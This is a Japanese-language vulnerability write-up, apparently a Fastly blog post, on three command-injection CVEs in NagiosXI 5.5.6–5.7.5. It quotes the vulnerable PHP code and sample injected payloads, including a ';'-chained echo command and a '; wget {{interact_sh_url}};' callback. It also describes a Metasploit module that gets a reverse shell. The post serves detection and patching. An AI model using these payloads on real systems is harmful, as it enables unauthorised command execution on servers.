コマンドインジェクションの詳細分析 : Metasploit モジュールと Nuclei テンプレートで CVE-2021-25296 (7,8) を検出
NagiosXI バージョン 5.5.6 から 5.7.5 には、コマンドインジェクションの 3つの異なるインスタンスに対して脆弱性が存在します。この脆弱性はバージョン 5.7.5 で特定され、2021年初めに fs0c-sh により概念実証 (PoC) が公開されましたが</u>、この影響はバージョン 5.5.6 まで及ぶことが判明しました。これは当初のアドバイザリーでは報告されていませんでした。さらに、この脆弱性は現在も、CISA が提供する既知の悪用されるソフトウェアのリスト</u>に掲載されています。この脆弱性を悪用した脅威が活発なため、NagiosXI のバージョン 5.5.6 から 5.7.5 を使用している場合は、可能な限りアップグレードを実施してください。
注 : これらの脆弱性へのアクセスは、NagiosXI に認証された場合のみ可能になるため、有効なユーザー名とパスワードが必要です。
NagiosXI 5.5.6 から 5.7.5 におけるコマンドインジェクション
コマンドインジェクションの脆弱性は、オペレーションシステムのコマンドを実行する関数において、サニタイズされていないユーザー制御による入力が使用された場合に発生します。この問題はさまざまな方法で発生しますが、一般的な例としては PHP の exec()
などの関数を介して起こります。NagiosXI 5.5.6 - 5.7.5 の脆弱性も、これが原因でした。各 CVE は、コマンドインジェクションが発生する異なるファイルに関連付けられます。以下では、各コマンドインジェクションのポイントについて詳しく説明します。
注 : コードブロックはバージョン 5.7.5 から取得したものであり、それ以前のバージョンでは異なる可能性があります。
CVE-2021-25296
コードのロケーション : /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php
CVE-2021-25296 では、plugin_output_len
変数が URL パラメーターを介してユーザーによりコントロールされ、その後、windowswmi 設定ウィザードを使用する際に以下のコードに渡されます。
if (!empty($plugin_output_len)) {
$disk_wmi_command .= " --forcetruncateoutput " . $plugin_output_len;
$service_wmi_command .= " --forcetruncateoutput " . $plugin_output_len;
$process_wmi_command .= " --forcetruncateoutput " . $plugin_output_len;
}
echo $disk_wmi_command;
// Run the WMI plugin to get realtime info
exec($disk_wmi_command, $disk_output, $disk_return_var);
exec($service_wmi_command, $service_output, $service_return_var);
exec($process_wmi_command, $process_output, $process_return_var);
最初に plugin_output_len が、引数をサニタイズせずに、事前に設定された WMI コマンドに追加されます。次に、それぞれが PHP の exec 関数に渡されます。シェル演算子で現在実行中のコマンドを終了させると、2つ目のコマンドも実行可能になります。そこで終了コマンド演算子「;」を使って実行するコマンドを追加し、任意のコードを実行できます。以下のペイロードを plugin_output_len パラメーターで送信すると、(図1に示す通り) /dev/shm ディレクトリにファイルが作成されます。
9999; echo 'command Injection is dangerous' > /dev/shm/fastly.txt;
図1 : コマンドインジェクションにより作成されたファイル
CVE-2021-25297
コードのロケーション : /usr/local/nagiosxi/html/includes/configwizards/switch/switch.inc.php
CVE-2021-25297 では、address 変数が ip_address URL パラメーターを介してユーザーによりコントロールされ、その後、スイッチ設定ウィザードを使用する際に以下のコードに渡されます。
function switch_configwizard_add_cfg_to_mrtg($address)
{
// get the data that we need
$mrtg_confd_dir = "/etc/mrtg/conf.d";
$mrtg_cfg_file = "{$address}.cfg";
$absolute_mrtg_cfg_file = "{$mrtg_confd_dir}/{$mrtg_cfg_file}";
$cfgmaker_file = switch_configwizard_get_walk_file($address);
// check if the file already exists for useful debugging
$mrtg_confd_contents = scandir($mrtg_confd_dir);
if (in_array($mrtg_cfg_file, $mrtg_confd_contents)) {
debug("{$mrtg_cfg_file} exists in {$mrtg_confd_dir}, overwriting");
} else {
debug("{$mrtg_cfg_file} does not exist in {$mrtg_confd_dir}, creating");
}
// copy the cfgmaker file to the mrtg cfg destination
if (!copy($cfgmaker_file, $absolute_mrtg_cfg_file)) {
debug("Unable to copy from {$cfgmaker_file} to {$absolute_mrtg_cfg_file}");
return false;
}
// add some meta info to the file
$infoline = "#### ADDED BY NAGIOSXI (User: ". get_user_attr(0, 'username') .", DATE: ". get_datetime_string(time()) .") ####\n";
exec("sed -i '1s|.*|{$infoline}&|' $absolute_mrtg_cfg_file");
return true;
}
最初に ip_address がサニタイズされずに追加分のファイルパスに加えられます。その後、PHP の exec 関数に渡されます。この場合は、任意のコード実行のために独自のペイロードを追加する前に、シェル文字列をエスケープし、現在のコマンドを「;
」で終了させる必要があります。
CVE-2021-25298
コードのロケーション :/usr/local/nagiosxi/html/includes/configwizards/cloud-vm/cloud-vm.inc.php
CVE-2021-25298 では、address 変数が ip_address URL パラメーターを介してユーザーによりコントロールされ、その後、digitalocean 設定ウィザードを使用する際に以下のコードに渡されます。
case CONFIGWIZARD_MODE_GETSTAGE2HTML:
// Get variables that were passed to us
$address = grab_array_var($inargs, "ip_address", "");
$port = grab_array_var($inargs, "port", "");
$token = grab_array_var($inargs, "token", "");
$no_ssl_verify = grab_array_var($inargs, "no_ssl_verify", 1);
$hostname = grab_array_var($inargs, 'hostname', gethostbyaddr($address));
$default_mem_units = grab_array_var($inargs, 'default_mem_units', 'Gi');
$tcp_check_port = grab_array_var($inargs, 'tcp_check_port', '5693');
$rp_address = nagiosccm_replace_user_macros($address);
$rp_port = nagiosccm_replace_user_macros($port);
$rp_token = nagiosccm_replace_user_macros($token);
$services_serial = grab_array_var($inargs, "services_serial", "");
if ($services_serial) {
$services = unserialize(base64_decode($services_serial));
}
$not_used = array();
$return_code = 0;
$alternative_host_check = false;
exec('ping -W 2 -c 1 ' . $rp_address, $not_used, $return_code);
渡された ip_address は簡単に処理された後に、ping コマンドに追加されて exec 関数に渡されます。CVE-2021-25296 と同様に、最初のコマンドを「;」演算子で終了させ、その後で任意のコードを実行することができます。
Metasploit モジュール
Metasploit</u> はオープンソースの攻撃フレームワークであり、セキュリティ担当者がテストシナリオ (ペネトレーションテストなど) で脆弱性を意図的に悪用する目的などによく使用されます。私たちは上記の3つの CVE に対して、nagios_xi_configwizards_authenticated_rce</u> という名前の exploit モジュールを作成しました。このモジュールは、windowswmi、switch、digitalocean の設定ウィザードを通じて各 CVE の悪用をサポートし、Metasploit の NagiosXI mixin を利用して、悪用が発生する前に認証とバージョン確認を実行します。悪用時には提供されたペイロードが実行され (この場合はリバースシェル)、図2 が示すように apache ユーザーとしてターゲットにアクセスできるようになります。
図2 : Metasploit モジュールを介してコマンドインジェクションを利用しているリバースシェル
Nuclei テンプレート
Nuclei</u> は、テンプレートに基づいて脆弱性などの設定エラーを簡単に検出するオープンソーススキャナーです。私たちは、ユーザーが脆弱性のあるソフトウェアを検出しやすくするために、上記の3つのコマンドインジェクション CVE のそれぞれに特化した nuclei テンプレート</u>を作成しました。NagiosXI 5.7.5 に対して nuclei テンプレートを実行すると、図3に示すように脆弱性が表示されます :
図3 : Nuclei による各 CVE の検出
重要なのは、これらのテンプレートでは、単なるバージョン確認だけではなく、短い interactsh ペイロードが送信される (; wget {{interact_sh_url}};)
ことでテンプレートを WAF テストに使用できる点です。
推奨事項
Fastly は NagiosXI を最新版にアップグレードし、可能であれば、インターネット上で公開されない状態にすることを推奨しています。metasploit モジュールまたは nuclei テンプレートのいずれかを使用して、脆弱性の有無を検証できます。
注 : Fastly の Next-Gen WAF は、デフォルトで CVE-2021-25296、CVE-2021-25297、CVE-2021-25298 を悪用しようとするリクエストを検出します。
参照リンク
NVD :
Metasploit モジュール :
Nuclei テンプレート :
元の PoC :